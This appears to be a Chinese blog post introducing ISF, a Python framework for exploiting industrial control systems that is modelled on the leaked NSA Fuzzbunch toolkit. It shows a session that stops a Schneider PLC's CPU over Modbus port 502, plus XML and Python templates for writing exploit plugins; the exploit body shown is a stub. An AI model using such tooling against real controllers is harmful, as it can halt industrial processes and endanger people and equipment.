一、 框架介绍

本框架主要使用Python语言开发,通过集成ShadowBroker释放的NSA工具Fuzzbunch攻击框架,开发一款适合工控漏洞利用的框架。由于Fuzzbunch攻击框架仅适用于Python2.6,很多核心的功能都封装成了DLL,通过函数进行调用,不便于后期的移植和使用。但是,Fuzzbunch的命令行使用的确很方便,而且够傻瓜,所以就有集成一个适合工控漏洞利用的框架想法。新框架对主要的接口使用Python重新实现,所以支持Python2.X版本。

肯定会有人问,有牛逼的MSF,搞这个玩竟儿有什么用?主要基于如下几点考虑

  • MSF命令行使用不够傻瓜,纯属个人观点,仅供参考。
  • 工控的很多私用协议都使用Python开发,有很多优秀的Python框架(如scapy、kitty),集成在MSF很麻烦,有一个Python的框架会方便很多。
  • 最主要的一个原因是,从事工控安全以来,本人一直在使用Python,很多脚本都是基于Python开发的,想将手上所有的资源进行整合,提供一个统一的平台,方便。

二、 框架使用

进入目录,执行如下命令:

python main.py

界面显示如下:

D:\isf\isf>python main.py

                               ???
???????????????
????? ?????
???? ????
???? ????
??? ???
??? ?? ???
??? ???????? ???
??? ??????????? ???
??? ????????????? ???
?? ??????????????? ??
?? ????????????????? ??
?? ?????? ????? ??
?? ??????????? ??
?? ??????????? ??
?? ????????? ??
??? ??????? ???
??? ????? ???
??? ??????????? ???
??? ????????????????? ???
??? ???????????????????? ???
?????????????????????????????
???????????????????????????
?????????????????????
---ICSMASTER--- + - - - - - + [ Version 1.1.1 ] + - - - - - +
+ - - - - - + [ MADE BY ICSMASTER. HTTP://ICSMASTER.COM ] + - - - - - + [*] Loading Plugins
[*] Initializing isf v1.1.1
[*] Adding Global Variables
[+] Set ResourcesDir =>. c:\isf\Resources
[+] Set Color =>. True
[+] Set ShowHiddenParameters =>. False
[+] Set NetworkTimeout =>. 60
[+] Set LogDir =>. D:\isf\isf\logs
[*] Autorun ON Exploit Autorun List
==================== 0) apply
1) touch all
2) prompt confirm
3) execute Payload Autorun List
==================== 0) apply
1) prompt confirm
2) execute [+] Set ISFStorage =>. D:\isf\isf\storage
isf >

show命令使用,显示当前所有的插件,如下所示

isf > show

Plugin Categories
================= Category Active Plugin
-------- -------------
Exploit None
Payload None isf > show Exploit Plugin Category: Exploit
======================== Name Version
---- -------
Schneider_CPU_Command 1.1.0
Siemens_300_400_CPU_Control 1.1.0

use命令使用,调用相关插件,并根据命令行提示配置参数,如下所示

isf > use Schneider_CPU_Command

[!] Entering Plugin Context :: Schneider_CPU_Command
[*] Applying Global Variables [*] Applying Session Parameters
[*] Running Exploit Touches [!] Enter Prompt Mode :: Schneider_CPU_Command Module: Schneider_CPU_Command
============================= Name Value
---- -----
TargetIp
TargetPort 502
Command stop [!] plugin variables are valid
[?] Prompt For Variable Settings? [Yes] : [*] TargetIp :: Target IP Address [?] TargetIp [] : 192.168.1.30
[+] Set TargetIp => 192.168.1.30 [*] TargetPort :: Target Port [?] TargetPort [502] :
[+] Set TargetPort => 502 [*] Command :: The control command of cpu [stop/start] [?] Command [stop] :
[+] Set Command => stop [!] Preparing to Execute Schneider_CPU_Command Module: Schneider_CPU_Command
============================= Name Value
---- -----
TargetIp 192.168.1.30
TargetPort 502
Command stop [?] Execute Plugin? [Yes] :
[*] Executing Plugin
logging to file
[+] Schneider_CPU_Command Succeeded

三、 EXP编写

编写一个EXP需要包含两个文件,一个参数描述性的文件 .xml 和 一个漏洞脚本文件 .py,两个文件的名字需要相同,xml定义输入输出的参数的基本信息,如下所示,EXP需要三个参数,分别是TargetIp、TargetPort、Command。注意:XML文件中 name 字段不能重复。

<?xml version="1.0"?>
<t:config id="c72514379eaad943b62f4080a5ae1dc61619f0f3"
name="Schneider_CPU_Command"
version="1.1.0"
configversion="1.1.0.0"
xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'
xmlns:t='tc0'> <t:inputparameters>
<t:parameter name="TargetIp"
description="Target IP Address"
type="IPv4"/>
<t:parameter name="TargetPort"
description="Target Port"
type="TcpPort"
default="502"/>
<t:parameter name="Command"
description="The control command of cpu [stop/start]"
type="String"
default="stop"/>
</t:inputparameters>
</t:config>

漏洞利用脚本编写方法如下,如果不清楚可以直接拷贝如下模板进行修改

1、继承基础类 BaseExploit 2、填写POC基础信息 pocinfo 3、注册命令行,向register_options变量增加make_option对象即可,注意参数名称需要与xml文件保持一致 4、实现exploit函数

 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#!/usr/bin/env python
# coding=utf-8
from core.exploit import * class MyPoc(BaseExploit):
pocinfo = {
'ID': 'ICF-2017-000001',
'Name': '施耐德昆腾140系列PLC CPU控制',
'Author': 'w3h',
'Create_Date': '2017-04-09',
'Description': '''施耐德昆腾140系列PLC认证用户时Session使用是单比特,导致攻击者可以向PLC发送CPU控制指令。''', 'Vendor': VENDOR.SI,
'Device': ['Schneider Quantum 140'],
'App': '',
'Protocol': 'modbus',
'References': {'CVE': '', 'CNVD': '', 'OSVDB': '', 'CNNVD': ''}, 'Risk': RISK.H, # H/M/L
'VulType': VULTYPE.REP
} register_options = [
make_option('--TargetIp', action='store', dest='TargetIp',
type='string', default=None, help='The target of this poc.'),
make_option('--TargetPort', action='store', dest='TargetPort',
type='int', default=502, help='The port of this poc [default:502].'),
make_option('--Command', help='The constrol commond of cpu', dest="Command", default="stop"),
] def exploit(self, *args, **kwargs):
cmd = self.getParam("Command")
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((self.TargetIp, self.TargetPort))
pass # POC标准入口函数
MainEntry(MyPoc, __name__)

工控漏洞利用框架 - ISF(Industrial Security Framework)的更多相关文章

  1. 自动化移动安全渗透测试框架:Mobile Security Framework

    自动化移动安全渗透测试框架:Mobile Security Framework 译/Sphinx  测试开发社区  7月3日 Mobile Security Framework (移动安全框架) 是一 ...

  2. 工控安全入门(七)—— plc的网络

    上一篇我们详细分析了bootram和Vxworks的基本启动流程,这篇文章中我们把视线转到plc的网络部分,同时来复现我们第一个.第二个工控安全漏洞. VxWorks的网络设备驱动 一般我们说有三种设 ...

  3. 7. Vulnerability exploitation tools (漏洞利用工具 11个)

    Metasploit于2004年发布时,将风暴带入了安全世界.它是开发,测试和使用漏洞利用代码的高级开源平台. 可以将有效载荷,编码器,无操作生成器和漏洞利用的可扩展模型集成在一起,使得Metaspl ...

  4. Nmap从探测到漏洞利用备忘录 – Nmap简介(一)

    在侦查期间,扫描一直是信息收集的初始阶段. 什么是侦查 侦查是尽可能多收集关于目标网络的信息.从黑客的角度来看,信息收集对于一次攻击非常有用,所以为了封锁恶意的企图,渗透测试者通常尽力查找这些信息,发 ...

  5. 工控随笔_09_西门子_S7-200 Smart与V20 USS通信USS_RPM_R利用轮询的方式通讯异常

    前两天处理过一个故障,是S7-200 Smart与V20的USS通讯,设备厂家在程序里面利 用USS_RPM _R程序循环轮询5个V20设备读取频率和电流值等信息. 图 USS_RPM_R读取信息 上 ...

  6. 工控随笔_07_西门子_WinCC利用命令行实现操作log日志

    在WinCC中可以通过报警纪录来实现操作员纪录,这个需要WinCC的消息系统进行组态和配置. 利用消息系统进行实现上诉功能不但复杂而且时间久啦也不方便查询.那么有没有一种简单的方法来 实现操作员纪录呢 ...

  7. 工控随笔_02_西门子_WinCC的IO域利用C脚本返回值

    WinCC的输入输出域用来显示信息或者接受操作人员的输入.当作为显示功能时,只有直接的变量连接 才能正常的显示,如果使用动态对话框进行设置且用了表达式则不能正确显示. 但是有时候我们在WinCC变量管 ...

  8. Kali Linux渗透基础知识整理(三):漏洞利用

    漏洞利用阶段利用已获得的信息和各种攻击手段实施渗透.网络应用程序漏洞诊断项目的加密通信漏洞诊断是必须执行的.顾名思义,利用漏洞,达到攻击的目的. Metasploit Framework rdeskt ...

  9. 工控安全入门之Ethernet/IP

    这一篇依然是协议层面的,协议层面会翻译三篇,下一篇是电力系统中用的比较多的DNP3.这一篇中大部分引用的资料都可以访问到,只有一篇reversemode.com上的writeup(http://rev ...

随机推荐

  1. 安装flanal报错解决

    1.:Error registering network: failed to acquire lease: node "test4" pod cidr not assigned ...

  2. HTMLCollection对象和NodeList对象

    前言 首先我们先来看下面的demo,假如我们需要给所有的li字体变一个颜色. <!DOCTYPE html> <html lang="en"> <he ...

  3. 【Linux】配置SSH免密登录

    环境说明 假设我们有三台机器分别为bigdata111,bigdata112,bigdata113,三台机器均为centos 7系统. 配置SSH免密登录 (1)利用Xshell的发送键输入到所有会话 ...

  4. Docker参数 -i -t 的作用

    Docker 参数 -i -t 的作用通常的解释是: -t让docker分配一个伪终端并绑定到容器的标准输入上, -i则让容器的标准输入保持打开. 问题所以通常都是这样的: sudo docker r ...

  5. C#中的属性-Property

    C#的属性一直都有用,但具体了解的不是很深,而且一些注意事项也没有太在意过,糊里糊涂的用着.这两天看了C#的书专门学习了一下属性,这才知道,原来属性也有这么多东西~ ~今天记录一下,算是对学习的一个检 ...

  6. 5分钟了解OWL本体建模语言

    一.概念: 定义:一种定义和实例化web本体的语言   本体:与xml schema不同,是知识表示,而不是一种消息格式   优点:可以推理   开放世界的假设:本体信息只增加,可以存在矛盾冲突的事实 ...

  7. Thinkphp 使用小结

    分页中带查询参数 ...->paginate(15,false,['query'=>request()->param()]); 队列后台自动开启运行 nohup php think ...

  8. 【Python】【基础知识】【内置函数】【object的使用方法】

    原英文帮助文档: class object Return a new featureless object. object is a base for all classes. It has the ...

  9. 【Python】【demo实验6】【练习实例】【奖金发放计算(阶梯)】

    题目: 企业发放的奖金根据利润提成.利润(I)低于或等于10万元时,奖金可提10%:利润高于10万元,低于20万元时,低于10万元的部分按10%提成,高于10万元的部分,可提成7.5%:20万到40万 ...

  10. 使用winsw包装服务将nginx包装为Windows服务

    **Nginx本身在Windows上并不支持以服务的形式运行,官方文件中有提到.http://nginx.org/en/docs/windows.html,所以在Windows下使用winsw将Ngi ...